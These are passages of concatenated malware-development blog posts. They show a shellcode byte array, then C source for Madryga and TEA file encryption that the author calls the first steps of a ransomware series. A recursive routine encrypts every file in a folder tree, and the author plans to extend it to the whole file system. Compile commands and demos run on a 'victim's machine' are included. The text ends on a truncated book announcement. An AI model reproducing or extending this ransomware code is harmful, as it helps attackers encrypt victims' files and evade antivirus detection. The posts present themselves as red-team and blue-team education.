0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
};

As you can see, for checking correctness, also added comparing and printing logic.

demo

Let’s go to see everything in action. Compile it (in my kali machine):

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

cryptography

Then, just run it in the victim’s machine (windows 10 x64 v1903 in my case):

.\hack.exe

cryptography

As you can see, everything is worked perfectly! =^..^=

Let’s go to upload this hack.exe to VirusTotal:

cryptography

https://www.virustotal.com/gui/file/19fd0084bd8b401a025ca43db4465c49e3aa51455483eeb0b3874e5991d6a022/detection

As you can see, only 21 of 71 AV engines detect our file as malicious.

But this result is not due to the encryption of the payload, but to calls to some Windows APIs like VirtualAlloc, RtlMoveMemory and EnumDesktopsA

Shannon entropy for first sections:

cryptography

In summary, RC6 encryption stands out as a really strong and flexible encryption algorithm, providing a multitude of benefits in comparison to alternative algorithms. RC6 encryption is commonly used to protect sensitive data, including financial information, medical records, and personal information.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

I often wrote about the results of my research here and at various conferences like BlackHat and BSides, and many emails and messages come with various questions. I try to answer questions and consider problems that are interesting to my readers.

RC6
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 24: encrypt/decrypt file via Madryga. Simple C/C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

Since I’m a little busy writing my book for the Packt publishing, I haven’t been writing as often lately. But I’m still working on researching and simulating ransomware.

In one of the previous posts I wrote about the Madryga encryption algorithm and how it affected the VirusTotal detection score.

At the request of one of my readers, I decided to show file encryption and decryption logic using the Madryga algorithm.

practical example 1

First of all, we do not update encryption and decryption functions:

void madryga_encrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    sum += delta;
    v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  }
  v[0] = v0; v[1] = v1;
}

void madryga_decrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0xE3779B90, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
    v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    sum -= delta;
  }
  v[0] = v0; v[1] = v1;
}

Then, next piece of code implemented encryption and decryption functions for data using a simple block cipher madryga_encrypt and madryga_decrypt. It operates on the data in blocks of 8 bytes, with a padding mechanism for the case when the data length is not a multiple of 8:

void madryga_encrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_encrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_encrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void madryga_decrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_decrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_decrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

Let’s break down the encryption code step by step:

  • It takes a pointer to data and its length data_len.
  • It converts the data pointer to a uint32_t* for 32-bit (4-byte) block processing.
  • It processes the data in blocks of 8 bytes using madryga_encrypt function.
  • The loop increments the pointer by 2 to move to the next 8-byte block.
  • If there are remaining bytes (not a multiple of 8), it pads the remaining bytes with 0x90 and encrypts the padded block.

Finally, I implemented file encryption and decryption logic:

void encrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_encrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

void decrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_decrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file with Madryga algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/01/16/malware-cryptography-24.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>

#define ROUNDS 16

typedef uint32_t u32;

u32 key[4] = {0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F};

void madryga_encrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    sum += delta;
    v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  }
  v[0] = v0; v[1] = v1;
}

void madryga_decrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0xE3779B90, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
    v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    sum -= delta;
  }
  v[0] = v0; v[1] = v1;
}

void madryga_encrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_encrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_encrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void madryga_decrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_decrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_decrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void encrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_encrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

void decrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_decrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

int main() {
  encrypt_file("test.txt", "test-enc.bin");
  decrypt_file("test-enc.bin", "test-dec.txt");
  return 0;
}

As you can see, for test I just encrypt file test.txt and decrypt it.

demo

Let’s compile our PoC code:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Then just run it on Windows 10 x64 machine:

.\hack.exe

As a result, two new files test-enc.bin and test-dec.txt were created.

cryptography

cryptography

cryptography

As we can see, everything is wokred perfectly! =^..^=

practical example 2

But, in the wild, ransomware do not always encrypt the entire file if it is very large. For example Conti ransomware used partial encryption.

Also ransomware recursive encrypt folders, it might look something like this:

void handleFiles(const char* folderPath) {
  WIN32_FIND_DATAA findFileData;
  char searchPath[MAX_PATH];
  sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);

  HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("Error: %d\n", GetLastError());
    return;
  }

  do {
    const char* fileName = findFileData.cFileName;

    if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
      continue;
    }

    char filePath[MAX_PATH];
    sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // Recursive call for subfolders
      handleFiles(filePath);
    } else {
      // Process individual files
      printf("file: %s\n", filePath);
      char encryptedFilePath[MAX_PATH];
      sprintf_s(encryptedFilePath, MAX_PATH, "%s.bin", filePath);
      encrypt_file(filePath, encryptedFilePath);
    }

  } while (FindNextFileA(hFind, &findFileData) != 0);

  FindClose(hFind);
}

As you can see, the logic is pretty simple.
The recursive decryption uses the same trick:

void decryptFiles(const char* folderPath) {
  WIN32_FIND_DATAA findFileData;
  char searchPath[MAX_PATH];
  sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);

  HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("error: %d\n", GetLastError());
    return;
  }

  do {
    const char* fileName = findFileData.cFileName;

    if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
      continue;
    }

    char filePath[MAX_PATH];
    sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // Recursive call for subfolders
      decryptFiles(filePath);
    } else {
      // Process individual files
      if (strstr(fileName, ".bin") != NULL) {
        printf("File: %s\n", filePath);
        char decryptedFilePath[MAX_PATH];
        sprintf_s(decryptedFilePath, MAX_PATH, "%s.decrypted", filePath);
        decrypt_file(filePath, decryptedFilePath);
      }
    }

  } while (FindNextFileA(hFind, &findFileData) != 0);

  FindClose(hFind);
}

demo 2

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Then just run it on Windows 10 x64 machine:

.\hack.exe

cryptography

cryptography

cryptography

Let’s check a decrypted and original files, for example applied-cryptography.pdf.bin.decrypted:

cryptography

As you can see our simple PoC is worked perfectly.

Of course, the examples I showed still cannot be used to simulate ransomware as needed. To do this, we still need to add a blacklisted directories and we need to add a little speed to our logic.

In the following parts I will implement the logic for encrypting the entire file system, of course this will be separated into a separate project on GitHub and will be used to simulate ransomware attacks.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

Madryga
Malware AV/VM evasion part 13
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 23: encrypt/decrypt file via TEA. Simple C/C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts (and at conferences in the last couple of months) I talked about the TEA encryption algorithm and how it affected the VirusTotal detection score.

With today’s post I want to start a series of my new research, I will be developing different versions of the ransomware malware with different algorithms from cryptography.

I will do this step by step, so perhaps I will post some things, tricks and techniques in a separate articles.

practical example

I’ll go straight to a practical example, the logic of which is quite simple, encrypting one file and decrypting it.

Encryption function:

void encryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (TEA_BLOCK_SIZE - (fileSize.LowPart % TEA_BLOCK_SIZE)) % TEA_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += TEA_BLOCK_SIZE) {
    tea_encrypt(paddedData + i, key);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("TEA encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

and decryption function:

void decryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // decrypt the file data using TEA encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += TEA_BLOCK_SIZE) {
    tea_decrypt(fileData + i, key);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("TEA decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

This code encrypts the input file using TEA with the specified key, decrypt with TEA.

Another important part of the code adds padding to the last block if the file size is not a multiple of the TEA block size:

void addPadding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = TEA_BLOCK_SIZE - (fs.QuadPart % TEA_BLOCK_SIZE);
  if (paddingS != TEA_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

So, I tested this for one file test.txt

int main() {
  const char* inputFile = "C:\\Users\\user\\Desktop\\books\\test.txt";
  const char* outputFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea";
  const char* decryptedFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea.decrypted";
  const char* teaKey = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encryptFile(inputFile, outputFile, teaKey);
  decryptFile(outputFile, decryptedFile, teaKey);
  return 0;
}

Ok, full source code is hack.c:

/*
 * hack.c
 * encrypt/decrypt file with TEA
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/12/25/malware-cryptography-23.html
*/
#include <windows.h>
#include <stdio.h>

#define KEY_SIZE 16
#define ROUNDS 32
#define TEA_BLOCK_SIZE 8

void tea_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int i;
  unsigned int delta = 0x9e3779b9;
  unsigned int sum = 0;
  unsigned int v0 = *(unsigned int *)data;
  unsigned int v1 = *(unsigned int *)(data + 4);

  for (i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
  }

  *(unsigned int *)data = v0;
  *(unsigned int *)(data + 4) = v1;
}

void tea_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int i;
  unsigned int delta = 0x9e3779b9;
  unsigned int sum = delta * ROUNDS;
  unsigned int v0 = *(unsigned int *)data;
  unsigned int v1 = *(unsigned int *)(data + 4);

  for (i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
  }

  *(unsigned int *)data = v0;
  *(unsigned int *)(data + 4) = v1;
}

void addPadding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = TEA_BLOCK_SIZE - (fs.QuadPart % TEA_BLOCK_SIZE);
  if (paddingS != TEA_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void removePadding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("Invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("Error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);
  }
}

void encryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (TEA_BLOCK_SIZE - (fileSize.LowPart % TEA_BLOCK_SIZE)) % TEA_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += TEA_BLOCK_SIZE) {
    tea_encrypt(paddedData + i, key);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("TEA encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // decrypt the file data using TEA encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += TEA_BLOCK_SIZE) {
    tea_decrypt(fileData + i, key);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("TEA decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

int main() {
  const char* inputFile = "C:\\Users\\user\\Desktop\\books\\test.txt";
  const char* outputFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea";
  const char* decryptedFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea.decrypted";
  const char* teaKey = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encryptFile(inputFile, outputFile, teaKey);
  decryptFile(outputFile, decryptedFile, teaKey);
  return 0;
}

demo

Let’s move on to demonstrating how this example works.

First of all, my test.txt file:

cryptography

Then, compile our malware:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Run it in the victim’s machine (Windows 10 x64 v1903 in my case):

cryptography

cryptography

Let’s check two files test.txt and test.txt.tea.decrypted:

cryptography

As we can see, everything is wokred perfectly! =^..^=

In the following parts I will implement the logic for encrypting folders and files and then the entire file system, of course this will be separated into a separate project on GitHub and will be used to simulate ransomware attacks.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

TEA
Malware AV/VM evasion part 12
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware in the wild book.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

book

Alhamdulillah, I finished writing this book today. It was quite difficult. In sha Allah everything will be fine. O Allah, Lord of the Worlds, give strength to all children who are fighting for their lives.

Why is the book called that? MALWILD - means Malware in the Wild.

I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.

book

book

This book is dedicated to my wife, Laura, and my children, Yerzhan and Munira. Also, thanks to everyone who is helping me through these difficult times. The proceeds from the sale of this book will be used to treat my friends:

Antipin

